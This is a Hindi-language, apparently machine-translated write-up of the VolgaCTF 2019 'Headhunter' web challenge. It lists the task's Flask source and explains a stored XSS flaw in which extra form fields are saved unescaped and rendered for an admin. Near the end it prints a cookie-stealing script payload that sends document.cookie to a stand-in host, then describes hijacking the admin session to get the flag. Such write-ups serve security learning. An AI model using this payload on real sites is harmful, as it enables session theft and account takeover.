वोल्गा CTF 2019 क्वालिफायर: हेडहंटर क्वेस्ट

नमस्कार! 29 से 31 मार्च तक क्वालिफाइंग राउंड वोल्गेटाफ्ट आयोजित किया गया थाआयोजकों ने विभिन्न श्रेणियों में बड़ी संख्या में कार्यों को तैयार किया (वैसे, नए एक - नकली, विघटन खोजने के लिए कार्यों सहित)। हेडहंटर की नौकरी का लक्ष्य, हर किसी की तरह, एक गुप्त कुंजी प्राप्त करना है। आरंभ करने से हमें WEB.py फ़ाइल और साइट का लिंक मिल जाता है।







भेद्यता खोज


लिंक का तुरंत पालन करें, हम एक स्वागत योग्य संदेश देखते हैं। हम पंजीकरण कर रहे हैं। वोकेशन टैब में, हम कई फ़ील्ड्स का एक रूप देखते हैं: कोई भी जानकारी दर्ज करें और भेजने का प्रयास करें। फ़ॉर्म सफलतापूर्वक सबमिट किया गया है और मेरी अनुरोध सूची टैब पर हम अपना आवेदन लंबित देखते हैं। दसियों सेकंड के बाद, इसकी स्थिति "देखी" में बदल जाती है: संलग्न फ़ाइल पर एक नज़र डालें।









WEB.py
def create_app(test_config=None):
    app = Flask(__name__)
    app.config.from_mapping(test_config)

    # a simple page that says hello
    @app.route('/home', methods=['GET'])
    def home():
        if 'token' in session:
            session['username'] = check_token(session['token'])
            if 'username' in session:
                if session['username'] == 'admin':
                    return render_template('home_admin.html', flag=FLAG)
                else:
                    return render_template('home.html', cvs_list=db_get_user_cv(session['username']))
            else:
                session.pop('username', None)
                session.pop('token', None)
        else:
            return redirect(url_for('main'))


    @app.route("/cv/<cvid>", methods=['GET', 'DELETE'])
    def work_cv(cvid):
        if 'token' in session:
            session['username'] = check_token(session['token'])
            if 'username' in session:
                if session['username'] == 'admin':
                    db_check_cv(cvid)
                    cv_work = db_get_cv(cvid)
                    if cv:
                        cv_data = []
                        k = cv_work.keys()
                        for key in k:
                            temp = {"key": key, "value": cv_work[key]}
                            cv_data.append(temp)
                        return render_template('cv_admin.html', id=cvid, cv_data=cv_data)
            session.pop('username', None)
            session.pop('token', None)
        return redirect(url_for('main'))

    @app.route("/cv_list", methods=['GET', 'DELETE'])
    def cv_list():
        if 'token' in session:
            session['username'] = check_token(session['token'])
            if 'username' in session:
                if session['username'] == 'admin':
                    # TODO
                    return render_template('all_cvs.html', cvs_list=db_get_new_cv())
            session.pop('username', None)
            session.pop('token', None)
        return redirect(url_for('main'))

    @app.route('/login', methods=['GET', 'POST'])
    def login():
        if 'token' in session:
            return redirect(url_for('home'))
        if request.method == 'GET':
            return render_template('login.html')
        else:
            u_login = request.form.get('login')
            u_password = request.form.get('password')
            if u_login and u_password:
                user = db_find_user(u_login, u_password)
                if user:
                    session['username'] = u_login
                    session['token'] = token_generator()
                    db_update_user_token(u_login, u_password, session['token'])
                    return redirect(url_for('home'))

        session['last_error'] = "Username or password wrong :("
        session['last_url'] = "/login"
        return redirect(url_for('error'))

    @app.route('/', methods=['GET'])
    def main():
        if 'token' in session:
            session['username'] = check_token(session['token'])
            if 'username' in session:
                if session['username'] == 'admin':
                    return redirect(url_for('home'))
                return render_template('main_auth.html')
            else:
                session.pop('username', None)
                session.pop('token', None)
        else:
            return render_template('main.html')

    @app.route('/registration', methods=['GET', 'POST'])
    def registration():
        if 'token' in session:
            return redirect(url_for('home'))
        if request.method == 'GET':
            return render_template('registration.html')
        else:
            u_login = request.form.get('username')
            u_password = request.form.get('password')
            if u_login and u_password:
                user = db_find_user(u_login, u_password)
                if user:
                    session['last_error'] = "User already exist :("
                    session['last_url'] = "/registration"
                    return redirect(url_for('error'))
                else:
                    session['username'] = u_login
                    session['token'] = token_generator()
                    db_add_user(u_login, u_password, session['token'])
                    return redirect(url_for('home'))
            return redirect(url_for('error'))

    @app.route('/logout', methods=['GET'])
    def logout():
        session.pop('username', None)
        session.pop('token', None)
        return redirect(url_for('main'))

    @app.route('/error', methods=['GET'])
    def error():
        if 'last_error' in session and 'last_url' in session:
            if 'token' in session:
                session['username'] = check_token(session['token'])
                if 'username' in session:
                    return render_template('error_auth.html', error=session['last_error'], back_url=session['last_url'])
                else:
                    session.pop('username', None)
                    session.pop('token', None)
            else:
                return render_template('error.html', error=session['last_error'], back_url=session['last_url'])
        else:
            return render_template('error.html')

    @app.route('/cv', methods=['GET', 'POST'])
    def cv():
        if 'token' in session:
            session['username'] = check_token(session['token'])
            if 'username' in session:
                if session['username'] == 'admin':
                    return redirect(url_for('home'))
                if request.method == 'GET':
                    return render_template('cv.html')
                else:
                    cv_firstname = request.form.get('firstname')
                    cv_lastname = request.form.get('lastname')
                    cv_email = request.form.get('email')
                    cv_phone = request.form.get('phone')
                    cv_message = request.form.get('message')
                    if cv_firstname and cv_lastname and cv_email and cv_phone and cv_message:
                        cv = request.form.to_dict()
                        cv['user'] = session['username']
                        cv['status'] = 'Wait'
                        cv['time'] = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
                        if db_count_user_cv(cv['user']) > 9:
                            session['last_error'] = "Maximum of request reached :("
                            session['last_url'] = "/home"
                            return redirect(url_for('error'))
                        db_add_cv(cv)
                        return redirect(url_for('home'))
                    else:
                        session['last_error'] = "The request is not correct :("
                        session['last_url'] = "/cv"
                        return redirect(url_for('error'))
            session.pop('username', None)
            session.pop('token', None)
        return redirect(url_for('main'))

    @app.errorhandler(404)
    def page_not_found(e):
        return render_template('error.html', error="404: Page not found!", back_url="/"), 404

    return app

प्रस्तुत फ़ॉर्म को संसाधित करने वाले कोड को खोजने का तुरंत प्रयास करें:
@app.route('/cv', methods=['GET', 'POST'])
    def cv():
        if 'token' in session:
            session['username'] = check_token(session['token'])
            if 'username' in session:
                if session['username'] == 'admin':
                    return redirect(url_for('home'))
                if request.method == 'GET':
                    return render_template('cv.html')
                else:
                    cv_firstname = request.form.get('firstname')
                    cv_lastname = request.form.get('lastname')
                    cv_email = request.form.get('email')
                    cv_phone = request.form.get('phone')
                    cv_message = request.form.get('message')
                    if cv_firstname and cv_lastname and cv_email and cv_phone and cv_message:
                        cv = request.form.to_dict()
                        cv['user'] = session['username']
                        cv['status'] = 'Wait'
                        cv['time'] = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
                        if db_count_user_cv(cv['user']) > 9:
                            session['last_error'] = "Maximum of request reached :("
                            session['last_url'] = "/home"
                            return redirect(url_for('error'))
                        db_add_cv(cv)
                        return redirect(url_for('home'))
                    else:
                        session['last_error'] = "The request is not correct :("
                        session['last_url'] = "/cv"
                        return redirect(url_for('error'))
            session.pop('username', None)
            session.pop('token', None)
        return redirect(url_for('main'))

कॉलिंग request.form.to_dict () फॉर्म को क्रमबद्ध करता है और "सत्यापन" के बाद और db_add_cv (cv) का एक छोटा संशोधन फॉर्म के साथ आए सभी डेटा को सेव करता है।
इसके अलावा, जब वर्चुअल मॉडरेटर एप्लिकेशन खोलता है, तो उसे वह सब कुछ दिया जाता है जो बुरे लोग डेटाबेस में अपलोड करने में सक्षम थे:

    @app.route("/cv/<cvid>", methods=['GET', 'DELETE'])
    def work_cv(cvid):
        if 'token' in session:
            session['username'] = check_token(session['token'])
            if 'username' in session:
                if session['username'] == 'admin':
                    db_check_cv(cvid)
                    cv_work = db_get_cv(cvid)
                    if cv:
                        cv_data = []
                        k = cv_work.keys()
                        for key in k:
                            temp = {"key": key, "value": cv_work[key]}
                            cv_data.append(temp)
                        return render_template('cv_admin.html', id=cvid, cv_data=cv_data)
            session.pop('username', None)
            session.pop('token', None)
        return redirect(url_for('main'))

db_get_cv (cvid) डेटाबेस से डेटा प्राप्त करता है और एक छोटे संरचनात्मक संशोधन के बाद सभी डेटा टेम्पलेट को देता है।

हमला


तथ्यों का यह संयोजन संभावित XSS भेद्यता के विचारों का सुझाव देता है।
हम एक विशिष्ट हमले करने की कोशिश कर रहे हैं और डोमेन प्रतिबंधों को दरकिनार करने के लिए छवि src का उपयोग करके कुकीज़ चोरी कर रहे हैं:

<script language="javascript">
    var img = new Image();
    img.src = 'example.com?' + document.cookie;
    document.body.appendChild(img);
</script>

हम मानते हैं कि कोई सुरक्षा नहीं है और संदेश पाठ डोम में बिना किसी जांच के एम्बेडेड है इस स्थिति में, स्क्रिप्ट टैग के अंदर कोड निष्पादित होने लगेगा। यह एक तत्व (चित्र) बनाएगा और इसे एक स्रोत सौंपेगा, जिसके बाद यह DOM में एक तत्व जोड़ देगा। यह बदले में, ब्राउज़र को हमारे सर्वर से अनुरोध करके इसे डाउनलोड करने का प्रयास करने के लिए मजबूर करेगा।

अब बस हमारी स्क्रिप्ट के साथ एक अतिरिक्त फ़ील्ड के रूप में अनुरोध के साथ शामिल करें, भेजें और प्रतीक्षा करें। स्थिति "देखी गई" में बदल जाती है, और क्वेरी पैरामीटर में कुकीज़ के साथ एक अनुरोध सर्वर पर आता है।

अंतिम चरण रहता है - हम कुकीज़ लेते हैं, उन्हें साइट पर सेट करते हैं, पृष्ठ को ताज़ा करते हैं और कुंजी प्राप्त करते हैं: कार्य हल किया जाता है।



Source: https://habr.com/ru/post/undefined/


All Articles